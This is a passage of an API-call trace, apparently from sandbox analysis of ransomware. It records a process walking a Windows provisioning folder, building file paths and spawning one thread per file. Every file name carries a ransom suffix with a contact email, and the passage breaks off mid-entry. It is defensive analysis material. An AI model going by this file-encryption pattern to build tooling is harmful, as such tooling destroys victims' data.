lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa92c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x728 [0176.690] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9051cd0d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9051cd0d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8d401d6c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x35c, dwReserved0=0x0, dwReserved1=0x0, cFileName="126__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="126__C~1.D0E")) returned 1 [0176.690] wcscmp (_String1="126__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.690] wcscmp (_String1="126__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.690] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x1a4) returned 0x2fa9478 [0176.690] wcscpy (in: _Dest=0x2fa9478, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0176.690] wcscat (in: _Dest=0x2fa9478, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0176.690] wcscat (in: _Dest=0x2fa9478, _Source="126__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\126__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\126__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0176.690] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa9478, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x72c [0176.691] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9051cd0d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9051cd0d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8d021feb, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x33f, dwReserved0=0x0, dwReserved1=0x0, cFileName="127__Connections_Cellular_DNA (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="127__C~1.D0E")) returned 1 [0176.691] wcscmp (_String1="127__Connections_Cellular_DNA (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.691] wcscmp (_String1="127__Connections_Cellular_DNA (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.691] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x17e) returned 0x2fe3018 [0176.691] wcscpy (in: _Dest=0x2fe3018, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0176.691] wcscat (in: _Dest=0x2fe3018, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0176.691] wcscat (in: _Dest=0x2fe3018, _Source="127__Connections_Cellular_DNA (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\127__Connections_Cellular_DNA (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\127__Connections_Cellular_DNA (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0176.691] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe3018, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x730 [0176.692] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9051cd0d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9051cd0d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8cffbda8, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x284, dwReserved0=0x0, dwReserved1=0x0, cFileName="128__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="128__C~1.D0E")) returned 1 [0176.692] wcscmp (_String1="128__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.692] wcscmp (_String1="128__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.692] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x16a) returned 0x2fe31a0 [0176.692] wcscpy (in: _Dest=0x2fe31a0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0176.692] wcscat (in: _Dest=0x2fe31a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0176.692] wcscat (in: _Dest=0x2fe31a0, _Source="128__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\128__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\128__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731" [0176.692] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe31a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x734 [0176.693] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9051cd0d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9051cd0d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8cfd5b2f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x37d, dwReserved0=0x0, dwReserved1=0x0, cFileName="129__Connections_Cellular_Elisa (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="129__C~1.D0E")) returned 1 [0176.693] wcscmp (_String1="129__Connections_Cellular_Elisa (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.693] wcscmp (_String1="129__Connections_Cellular_Elisa (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.693] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x182) returned 0x2fe3318 [0176.693] wcscpy (in: _Dest=0x2fe3318, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0176.693] wcscat (in: _Dest=0x2fe3318, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0176.693] wcscat (in: _Dest=0x2fe3318, _Source="129__Connections_Cellular_Elisa (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\129__Connections_Cellular_Elisa (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\129__Connections_Cellular_Elisa (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0176.693] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe3318, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x738 [0176.694] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9013ce1d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9013ce1d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8cf8965f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x38c, dwReserved0=0x0, dwReserved1=0x0, cFileName="12__Connections_Cellular_Optus (Australia)_i3$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="12__CO~1.D0E")) returned 1 [0176.694] wcscmp (_String1="12__Connections_Cellular_Optus (Australia)_i3$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.694] wcscmp (_String1="12__Connections_Cellular_Optus (Australia)_i3$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.694] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x184) returned 0x2fe34a8 [0176.694] wcscpy (in: _Dest=0x2fe34a8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0176.694] wcscat (in: _Dest=0x2fe34a8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0176.694] wcscat (in: _Dest=0x2fe34a8, _Source="12__Connections_Cellular_Optus (Australia)_i3$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\12__Connections_Cellular_Optus (Australia)_i3$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\12__Connections_Cellular_Optus (Australia)_i3$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0176.694] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe34a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x740 [0176.694] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9051cd0d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9051cd0d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8d57f506, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x298, dwReserved0=0x0, dwReserved1=0x0, cFileName="130__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="130__C~1.D0E")) returned 1 [0177.283] wcscmp (_String1="130__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.283] wcscmp (_String1="130__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.283] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x16a) returned 0x2f8f458 [0177.283] wcscpy (in: _Dest=0x2f8f458, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.283] wcscat (in: _Dest=0x2f8f458, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.283] wcscat (in: _Dest=0x2f8f458, _Source="130__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\130__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\130__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731" [0177.520] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f8f458, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x81c [0177.521] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90542f74, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90542f74, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8d5a570f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x35d, dwReserved0=0x0, dwReserved1=0x0, cFileName="131__Connections_Cellular_Go Communication Ltd. (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="131__C~1.D0E")) returned 1 [0177.521] wcscmp (_String1="131__Connections_Cellular_Go Communication Ltd. (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.521] wcscmp (_String1="131__Connections_Cellular_Go Communication Ltd. (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.521] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x1a2) returned 0x2fa0c68 [0177.521] wcscpy (in: _Dest=0x2fa0c68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.521] wcscat (in: _Dest=0x2fa0c68, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.521] wcscat (in: _Dest=0x2fa0c68, _Source="131__Connections_Cellular_Go Communication Ltd. (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\131__Connections_Cellular_Go Communication Ltd. (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\131__Connections_Cellular_Go Communication Ltd. (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0177.521] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa0c68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x640 [0177.521] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90542f74, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90542f74, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8d5cb9c7, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x359, dwReserved0=0x0, dwReserved1=0x0, cFileName="132__Connections_Cellular_Go Communication Ltd. (Finland)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="132__C~1.D0E")) returned 1 [0177.522] wcscmp (_String1="132__Connections_Cellular_Go Communication Ltd. (Finland)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.522] wcscmp (_String1="132__Connections_Cellular_Go Communication Ltd. (Finland)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.522] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x1a2) returned 0x2f96a28 [0177.522] wcscpy (in: _Dest=0x2f96a28, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.522] wcscat (in: _Dest=0x2f96a28, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.522] wcscat (in: _Dest=0x2f96a28, _Source="132__Connections_Cellular_Go Communication Ltd. (Finland)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\132__Connections_Cellular_Go Communication Ltd. (Finland)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\132__Connections_Cellular_Go Communication Ltd. (Finland)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0177.522] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f96a28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x74c [0177.522] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90542f74, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90542f74, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8d5f1b5b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x354, dwReserved0=0x0, dwReserved1=0x0, cFileName="133__Connections_Cellular_TDC Song Finland (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="133__C~1.D0E")) returned 1 [0177.522] wcscmp (_String1="133__Connections_Cellular_TDC Song Finland (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.522] wcscmp (_String1="133__Connections_Cellular_TDC Song Finland (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.522] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x198) returned 0x2fa0e18 [0177.522] wcscpy (in: _Dest=0x2fa0e18, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.522] wcscat (in: _Dest=0x2fa0e18, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.523] wcscat (in: _Dest=0x2fa0e18, _Source="133__Connections_Cellular_TDC Song Finland (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\133__Connections_Cellular_TDC Song Finland (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\133__Connections_Cellular_TDC Song Finland (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0177.523] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa0e18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x39c [0177.523] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90542f74, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90542f74, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8d63e287, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x342, dwReserved0=0x0, dwReserved1=0x0, cFileName="134__Connections_Cellular_Sonera (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="134__C~1.D0E")) returned 1 [0177.523] wcscmp (_String1="134__Connections_Cellular_Sonera (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.523] wcscmp (_String1="134__Connections_Cellular_Sonera (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.523] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x184) returned 0x2f96bd8 [0177.523] wcscpy (in: _Dest=0x2f96bd8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.523] wcscat (in: _Dest=0x2f96bd8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.523] wcscat (in: _Dest=0x2f96bd8, _Source="134__Connections_Cellular_Sonera (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\134__Connections_Cellular_Sonera (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\134__Connections_Cellular_Sonera 